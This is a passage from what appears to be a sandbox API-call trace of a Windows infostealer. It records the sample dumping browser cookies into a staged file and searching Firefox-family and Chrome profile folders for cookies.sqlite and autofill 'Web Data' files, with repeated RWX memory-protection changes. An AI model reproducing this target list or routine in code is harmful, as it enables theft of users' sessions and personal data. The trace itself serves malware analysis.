e\x09TRUE\x09/chrome/browser/desktop/\x09FALSE\x091514586653\x09__utmz\x09246743442.1498818412.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)\r\n.google.de\x09TRUE\x09/chrome/browser/\x09FALSE\x091498819260\x09__utmt\x091\r\n.google.de\x09TRUE\x09/intl/de/chrome/browser/privacy/\x09FALSE\x091561890660\x09__utma\x09246743442.1877047254.1498818412.1498818412.1498818412.1\r\n.google.de\x09TRUE\x09/intl/de/chrome/browser/privacy/\x09FALSE\x091498820460\x09__utmb\x09246743442.2.10.1498818412\r\n.google.de\x09TRUE\x09/intl/de/chrome/browser/privacy/\x09FALSE\x091514586660\x09__utmz\x09246743442.1498818412.1.1.utmcsr=google.de|utmccn=(referral)|utmcmd=referral|utmcct=/chrome/browser/desktop/index.html\r\n.google.de\x09TRUE\x09/chrome/browser/\x09FALSE\x091561890662\x09__utma\x09246743442.551835800.1498818661.1498818661.1498818661.1\r\n.google.de\x09TRUE\x09/chrome/browser/\x09FALSE\x091498820462\x09__utmb\x09246743442.2.9.1498818662278\r\n.google.de\x09TRUE\x09/chrome/browser/\x09FALSE\x091514586662\x09__utmz\x09246743442.1498818661.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)\r\n.java.com\x09TRUE\x09/\x09FALSE\x091501410941\x09s_nr\x091498818941725\r\n.java.com\x09TRUE\x09/\x09FALSE\x091498820741\x09gpName\x09javac%3AVerify%3AInstalled_JRE_Homepage\r\n.java.com\x09TRUE\x09/\x09FALSE\x091498820741\x09gpChannel\x09javac%3AVerify\r\n.java.com\x09TRUE\x09/\x09FALSE\x091498820741\x09gpServer\x09java.com\r\n.oracle.112.2o7.net\x09TRUE\x09/\x09FALSE\x091561890942\x09s_vi\x09[CS]v1|2CAB14BF85033F7A-400011838004D995[CE]\r\nprefmgr-cookie.truste-svc.net\x09FALSE\x09/\x09FALSE\x091498818973\x09cookie_3rdparty\x09enabled\r\nconsent-pref.truste.com\x09FALSE\x09/\x09FALSE\x091498818963\x09token_test\x09Fri Jun 30 2017 10:35:43 GMT+0000 (Greenwich Standard Time)\r\n", cchWideChar=2692, lpMultiByteStr=0x1fd0000c, cbMultiByte=5386, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".google.com\x09TRUE\x09/\x09FALSE\x091514629556\x09NID\x09106=V8uw9OQJQXrz-DRRDrr55LusRCq_dgmfXRx-DENUVXJPnc0uL17dEaSOOYvxptaXRvGGnCBwN6BI8ockA5NUFjesXfEmGTTlh0t2tSZKawVYb1qVrgG54e1ue_4wvz6t\r\n.mozilla.org\x09TRUE\x09/\x09FALSE\x091561890356\x09_ga\x09GA1.2.217341492.1498818357\r\n.mozilla.org\x09TRUE\x09/\x09FALSE\x091498904756\x09_gid\x09GA1.2.278947976.1498818357\r\n.mozilla.org\x09TRUE\x09/\x09FALSE\x091498818416\x09_gat_UA-36116321-1\x091\r\n.google.de\x09TRUE\x09/\x09FALSE\x091514629589\x09NID\x09106=fztRXlSKD3rZ0kZekkWaR9HgfSaE1Wz4XWrEHB9mTJ7cTGyzn3VC0oUmTJh7N2kWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnI\r\n.google.de\x09TRUE\x09/\x09FALSE\x092145916799\x09CONSENT\x09WP.261dee\r\n.google.de\x09TRUE\x09/chrome/browser/desktop/\x09FALSE\x091498819011\x09__utmt\x091\r\n.google.de\x09TRUE\x09/intl/de/chrome/browser/privacy/\x09FALSE\x091498819011\x09__utmt\x091\r\n.doubleclick.net\x09TRUE\x09/\x09FALSE\x091561890412\x09id\x092259f32a9844007d||t=1498818412|et=730|cs=002213fd48ac87f0e54c8cf85d\r\n.doubleclick.net\x09TRUE\x09/\x09FALSE\x091561890412\x09IDE\x09AHWqTUkGQu7CRKbX8HW-XGVSrOCB8sows2bvTSBGqoP0hpeezPKrSV8LHw\r\n.google.de\x09TRUE\x09/chrome/browser/desktop/\x09FALSE\x091561890653\x09__utma\x09246743442.516819799.1498818412.1498818412.1498818412.1\r\n.google.de\x09TRUE\x09/chrome/browser/desktop/\x09FALSE\x091498820453\x09__utmb\x09246743442.3.9.1498818653263\r\n.google.de\x09TRUE\x09/chrome/browser/desktop/\x09FALSE\x091514586653\x09__utmz\x09246743442.1498818412.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)\r\n.google.de\x09TRUE\x09/chrome/browser/\x09FALSE\x091498819260\x09__utmt\x091\r\n.google.de\x09TRUE\x09/intl/de/chrome/browser/privacy/\x09FALSE\x091561890660\x09__utma\x09246743442.1877047254.1498818412.1498818412.1498818412.1\r\n.google.de\x09TRUE\x09/intl/de/chrome/browser/privacy/\x09FALSE\x091498820460\x09__utmb\x09246743442.2.10.1498818412\r\n.google.de\x09TRUE\x09/intl/de/chrome/browser/privacy/\x09FALSE\x091514586660\x09__utmz\x09246743442.1498818412.1.1.utmcsr=google.de|utmccn=(referral)|utmcmd=referral|utmcct=/chrome/browser/desktop/index.html\r\n.google.de\x09TRUE\x09/chrome/browser/\x09FALSE\x091561890662\x09__utma\x09246743442.551835800.1498818661.1498818661.1498818661.1\r\n.google.de\x09TRUE\x09/chrome/browser/\x09FALSE\x091498820462\x09__utmb\x09246743442.2.9.1498818662278\r\n.google.de\x09TRUE\x09/chrome/browser/\x09FALSE\x091514586662\x09__utmz\x09246743442.1498818661.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)\r\n.java.com\x09TRUE\x09/\x09FALSE\x091501410941\x09s_nr\x091498818941725\r\n.java.com\x09TRUE\x09/\x09FALSE\x091498820741\x09gpName\x09javac%3AVerify%3AInstalled_JRE_Homepage\r\n.java.com\x09TRUE\x09/\x09FALSE\x091498820741\x09gpChannel\x09javac%3AVerify\r\n.java.com\x09TRUE\x09/\x09FALSE\x091498820741\x09gpServer\x09java.com\r\n.oracle.112.2o7.net\x09TRUE\x09/\x09FALSE\x091561890942\x09s_vi\x09[CS]v1|2CAB14BF85033F7A-400011838004D995[CE]\r\nprefmgr-cookie.truste-svc.net\x09FALSE\x09/\x09FALSE\x091498818973\x09cookie_3rdparty\x09enabled\r\nconsent-pref.truste.com\x09FALSE\x09/\x09FALSE\x091498818963\x09token_test\x09Fri Jun 30 2017 10:35:43 GMT+0000 (Greenwich Standard Time)\r\n", lpUsedDefaultChar=0x0) returned 2692 [0163.761] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Browsers\\Cookies\\MozillaFireFox_3y2joh8o.default.txt", cchWideChar=52, lpMultiByteStr=0x1e7de700, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Browsers\\Cookies\\MozillaFireFox_3y2joh8o.default.txt", lpUsedDefaultChar=0x0) returned 52 [0163.762] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.762] CharToOemBuffA (in: lpszSrc="Browsers\\Cookies\\MozillaFireFox_3y2joh8o.default.txt", lpszDst=0x1fd07170, cchDstLength=0x34 | out: lpszDst="Browsers\\Cookies\\MozillaFireFox_3y2joh8o.default.txt") returned 1 [0163.762] RtlComputeCrc32 (PartialCrc=0x0, Buffer=0x1fd071f8, Length=0xa84) returned 0x8630e6e0 [0163.762] VirtualAlloc (lpAddress=0x1fcfc000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fcfc000 [0163.763] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf4500380, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xf4500380, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3y2joh8o.default", cAlternateFileName="3Y2JOH~1.DEF")) returned 0 [0163.763] FindClose (in: hFindFile=0x1e258c88 | out: hFindFile=0x1e258c88) returned 1 [0163.763] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x410000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x410000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.764] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.764] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0229a4, cbMultiByte=8, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="Waterfoxṽ顢瑯") returned 8 [0163.764] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022978, cbMultiByte=28, lpWideCharStr=0x1e7de9b4, cchWideChar=2047 | out: lpWideCharStr="%appdata%\\Waterfox\\Profiles\\鲞瑯\x0c") returned 28 [0163.764] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.765] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Waterfox\\Profiles\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Waterfox\\Profiles\\") returned 0x35 [0163.765] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.765] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Cookiesrofiles\\鲞瑯\x0c") returned 16 [0163.765] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Waterfox\\Profiles\\\\*.*", lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.765] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf06bc, cbMultiByte=14, lpWideCharStr=0x1e7de6f4, cchWideChar=2047 | out: lpWideCharStr="cookies.sqlite䵜穯汩慬楆敲潆彸礳樲桯漸搮晥畡瑬琮瑸") returned 14 [0163.766] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.766] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Waterfox\\Profiles\\\\\\cookies.sqlite" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\waterfox\\profiles\\cookies.sqlite")) returned 0xffffffff [0163.766] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.766] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.766] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0229f0, cbMultiByte=9, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="IceDragons\\Cookiesrofiles\\鲞瑯\x0c") returned 9 [0163.766] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0229bc, cbMultiByte=36, lpWideCharStr=0x1e7de9b4, cchWideChar=2047 | out: lpWideCharStr="%appdata%\\Comodo\\IceDragon\\Profiles\\ṽṽ瑲￿￿￿￿ꑰῤ") returned 36 [0163.766] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Comodo\\IceDragon\\Profiles\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Comodo\\IceDragon\\Profiles\\") returned 0x3d [0163.766] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="Browsers\\CookiesDragon\\Profiles\\ṽṽ瑲￿￿￿￿ꑰῤ") returned 16 [0163.767] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Comodo\\IceDragon\\Profiles\\\\*.*", lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.767] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf06bc, cbMultiByte=14, lpWideCharStr=0x1e7de6f4, cchWideChar=2047 | out: lpWideCharStr="cookies.sqlite䵜穯汩慬楆敲潆彸礳樲桯漸搮晥畡瑬琮瑸") returned 14 [0163.767] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Comodo\\IceDragon\\Profiles\\\\\\cookies.sqlite" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\comodo\\icedragon\\profiles\\cookies.sqlite")) returned 0xffffffff [0163.767] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.767] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.767] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022a40, cbMultiByte=8, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="Cyberfoxrs\\CookiesDragon\\Profiles\\ṽṽ瑲￿￿￿￿ꑰῤ") returned 8 [0163.767] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022a08, cbMultiByte=41, lpWideCharStr=0x1e7de9b4, cchWideChar=2047 | out: lpWideCharStr="%appdata%\\8pecxstudios\\Cyberfox\\Profiles\\瑲￿￿￿￿ꑰῤ") returned 41 [0163.767] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\8pecxstudios\\Cyberfox\\Profiles\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\") returned 0x42 [0163.767] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Cookiesos\\Cyberfox\\Profiles\\瑲￿￿￿￿ꑰῤ") returned 16 [0163.767] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\\\*.*", lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.768] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf06bc, cbMultiByte=14, lpWideCharStr=0x1e7de6f4, cchWideChar=2047 | out: lpWideCharStr="cookies.sqlite䵜穯汩慬楆敲潆彸礳樲桯漸搮晥畡瑬琮瑸") returned 14 [0163.768] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\\\\\cookies.sqlite" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\8pecxstudios\\cyberfox\\profiles\\cookies.sqlite")) returned 0xffffffff [0163.768] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.768] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.768] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022e1c, cbMultiByte=8, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="PaleMoonrs\\Cookiesos\\Cyberfox\\Profiles\\瑲￿￿￿￿ꑰῤ") returned 8 [0163.768] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceff50, cbMultiByte=51, lpWideCharStr=0x1e7de9b4, cchWideChar=2047 | out: lpWideCharStr="%appdata%\\Moonchild Productions\\Pale Moon\\Profiles\\") returned 51 [0163.768] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Moonchild Productions\\Pale Moon\\Profiles\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\") returned 0x4c [0163.768] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="Browsers\\CookiesProductions\\Pale Moon\\Profiles\\") returned 16 [0163.768] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\\\*.*", lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.768] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf06bc, cbMultiByte=14, lpWideCharStr=0x1e7de6f4, cchWideChar=2047 | out: lpWideCharStr="cookies.sqlite䵜穯汩慬楆敲潆彸礳樲桯漸搮晥畡瑬琮瑸") returned 14 [0163.769] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\\\\\cookies.sqlite" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\moonchild productions\\pale moon\\profiles\\cookies.sqlite")) returned 0xffffffff [0163.769] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.769] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.772] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x411000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x411000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.772] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf28a0, cbMultiByte=12, lpWideCharStr=0x1e7dea28, cchWideChar=2047 | out: lpWideCharStr="GoogleChromeꆀῤゐῡ簀ῤ\x03") returned 12 [0163.772] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0814, cbMultiByte=39, lpWideCharStr=0x1e7dea24, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Google\\Chrome\\User Data\\ṽﵶ瑲?ῤῤṽ") returned 39 [0163.772] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Google\\Chrome\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 0x39 [0163.772] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022ddc, cbMultiByte=21, lpWideCharStr=0x1e7dea2c, cchWideChar=2047 | out: lpWideCharStr="Browsers\\AutoCompleteome\\User Data\\ṽﵶ瑲?ῤῤṽ") returned 21 [0163.773] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*", lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xadcfd00, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xde226b0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xde226b0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1e258c88 [0163.773] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data}ꇨῤ") returned 8 [0163.773] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\.\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\web data")) returned 0xffffffff [0163.773] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xadcfd00, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xde226b0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xde226b0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.773] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data}ꇨῤ") returned 8 [0163.773] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\..\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\web data")) returned 0xffffffff [0163.773] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CertificateTransparency", cAlternateFileName="CERTIF~1")) returned 1 [0163.773] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data}ꇨῤ") returned 8 [0163.775] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xadf5e60, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xae1bfc0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xae1bfc0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crashpad", cAlternateFileName="")) returned 1 [0163.775] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xadf5e60, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xadf5e60, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xadf5e60, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashpadMetrics-active.pma", cAlternateFileName="CRASHP~1.PMA")) returned 1 [0163.775] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb031300, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xe5b8cd0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xe5b8cd0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0163.780] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, 